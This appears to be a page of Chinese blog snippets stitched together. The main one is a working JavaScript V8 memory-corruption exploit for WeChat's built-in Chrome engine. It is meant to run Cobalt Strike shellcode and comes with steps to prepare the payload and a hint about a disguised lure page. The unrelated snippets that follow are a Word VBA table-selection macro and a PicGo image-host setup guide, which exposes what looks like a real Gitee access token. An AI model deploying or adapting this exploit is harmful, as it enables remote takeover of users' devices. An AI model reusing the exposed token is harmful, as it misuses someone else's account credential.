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微信+Chrome REC 上线CS 微信0Day上线CS使用CS生成PayLoad使用C语言生成payload对Payload做处理替换“/" 为“,0”，这里注意逗号exp文件ENABLE_LOG = true; IN_WORKER = true; // run calc and hang in a loop var shellcode = [此处插入上面处理好的payload]; function print(data) { } var not_optimised_out = 0; var target_function = (function (value) { if (value == 0xdecaf0) { not_optimised_out += 1; } not_optimised_out += 1; not_optimised_out |= 0xff; not_optimised_out *= 12; }); for (var i = 0; i < 0x10000; ++i) { target_function(i); } var g_array; var tDerivedNCount = 17 * 87481 - 8; var tDerivedNDepth = 19 * 19; function cb(flag) { if (flag == true) { return; } g_array = new Array(0); g_array[0] = 0x1dbabe * 2; return 'c01db33f'; } function gc() { for (var i = 0; i < 0x10000; ++i) { new String(); } } function oobAccess() { var this_ = this; this.buffer = null; this.buffer_view = null; this.page_buffer = null; this.page_view = null; this.prevent_opt = []; var kSlotOffset = 0x1f; var kBackingStoreOffset = 0xf; class LeakArrayBuffer extends ArrayBuffer { constructor() { super(0x1000); this.slot = this; } } this.page_buffer = new LeakArrayBuffer(); this.page_view = new DataView(this.page_buffer); new RegExp({ toString: function () { return 'a' } }); cb(true); class DerivedBase extends RegExp { constructor() { // var array = null; super( // at this point, the 4-byte allocation for the JSRegExp `this` object // has just happened. { toString: cb }, 'g' // now the runtime JSRegExp constructor is called, corrupting the // JSArray. ); // this allocation will now directly follow the FixedArray allocation // made for `this.data`, which is where `array.elements` points to. this_.buffer = new ArrayBuffer(0x80); g_array[8] = this_.page_buffer; } } // try{ var derived_n = eval(`(function derived_n(i) { if (i == 0) { return DerivedBase; } class DerivedN extends derived_n(i-1) { constructor() { super(); return; ${"this.a=0;".repeat(tDerivedNCount)} } } return DerivedN; })`); gc(); new (derived_n(tDerivedNDepth))(); this.buffer_view = new DataView(this.buffer); this.leakPtr = function (obj) { this.page_buffer.slot = obj; return this.buffer_view.getUint32(kSlotOffset, true, ...this.prevent_opt); } this.setPtr = function (addr) { this.buffer_view.setUint32(kBackingStoreOffset, addr, true, ...this.prevent_opt); } this.read32 = function (addr) { this.setPtr(addr); return this.page_view.getUint32(0, true, ...this.prevent_opt); } this.write32 = function (addr, value) { this.setPtr(addr); this.page_view.setUint32(0, value, true, ...this.prevent_opt); } this.write8 = function (addr, value) { this.setPtr(addr); this.page_view.setUint8(0, value, ...this.prevent_opt); } this.setBytes = function (addr, content) { for (var i = 0; i < content.length; i++) { this.write8(addr + i, content[i]); } } return this; } function trigger() { var oob = oobAccess(); var func_ptr = oob.leakPtr(target_function); print('[*] target_function at 0x' + func_ptr.toString(16)); var kCodeInsOffset = 0x1b; var code_addr = oob.read32(func_ptr + kCodeInsOffset); print('[*] code_addr at 0x' + code_addr.toString(16)); oob.setBytes(code_addr, shellcode); target_function(0); } try{ print("start running"); trigger(); }catch(e){ print(e); }伪装页面微信上线
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Word批量选择全部表格 Sub SelectAllTables() Dim tempTable As Table Application.ScreenUpdating = False '判断文档是否被保护 If ActiveDocument.ProtectionType = wdAllowOnlyFormFields Then MsgBox "文档已保护，此时不能选中多个表格！" Exit Sub End If '删除所有可编辑的区域 ActiveDocument.DeleteAllEditableRanges wdEditorEveryone '添加可编辑区域 For Each tempTable In ActiveDocument.Tables tempTable.Range.Editors.Add wdEditorEveryone Next '选中所有可编辑区域 ActiveDocument.SelectAllEditableRanges wdEditorEveryone '删除所有可编辑的区域 ActiveDocument.DeleteAllEditableRanges wdEditorEveryone Application.ScreenUpdating = True End Sub
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Typora图床插件使用教程 picgo图床配置node.js环境安装本次采用Windows二进制文件进行部署，需要手工配置环境变量，也可采用Windows安装包一键安装二进制绿色版：https://npm.taobao.org/mirrors/node/v16.6.2/node-v16.6.2-win-x64.zipWindows安装包：https://npm.taobao.org/mirrors/node/v16.6.2/node-v16.6.2-x64.msi下载picgo:在node.js目录下运行npm install picgo -g # or yarn global add picgo运行结果如下：配置 PicGo-Core选项 1：编辑配置文件请在以下位置编辑config.jsonLinux / macOS ： .~/.picgo/config.jsonWindows： .%HOMEPATH%\.picgo\config.json安装SFTP上传插件npm install picgo-plugin-sftp-uploader可用插件列表https://github.com/lemonsboy/Awesome-PicGopicgo GUI版： https://github.com/Molunerfinn/PicGo/releases/download/v2.3.0-beta.8/PicGo-Setup-2.3.0-beta.8-ia32.exe下载picgo gitee上传插件 https://github.com/PicGo/Awesome-PicGo使用gitee作为图床获取到token:41965da90bc0b4aad1b8c714cf805ff9scp 图床安装picgo GUI版在插件中心下载SCP插件图床设置>SSH SCP上传设置网站标识设置为:image配置文件如下：config.json{ "image": { "url": "https://你的域名", "path": "相对于网站的目录/{year}/{month}/{fullName}", "uploadPath": "上传的物理目录/{year}/{month}/{fullName}", "host": "IP地址", "port": 22, "usernameAndPrivateKey": "root", "password": "root账户的密码" } }
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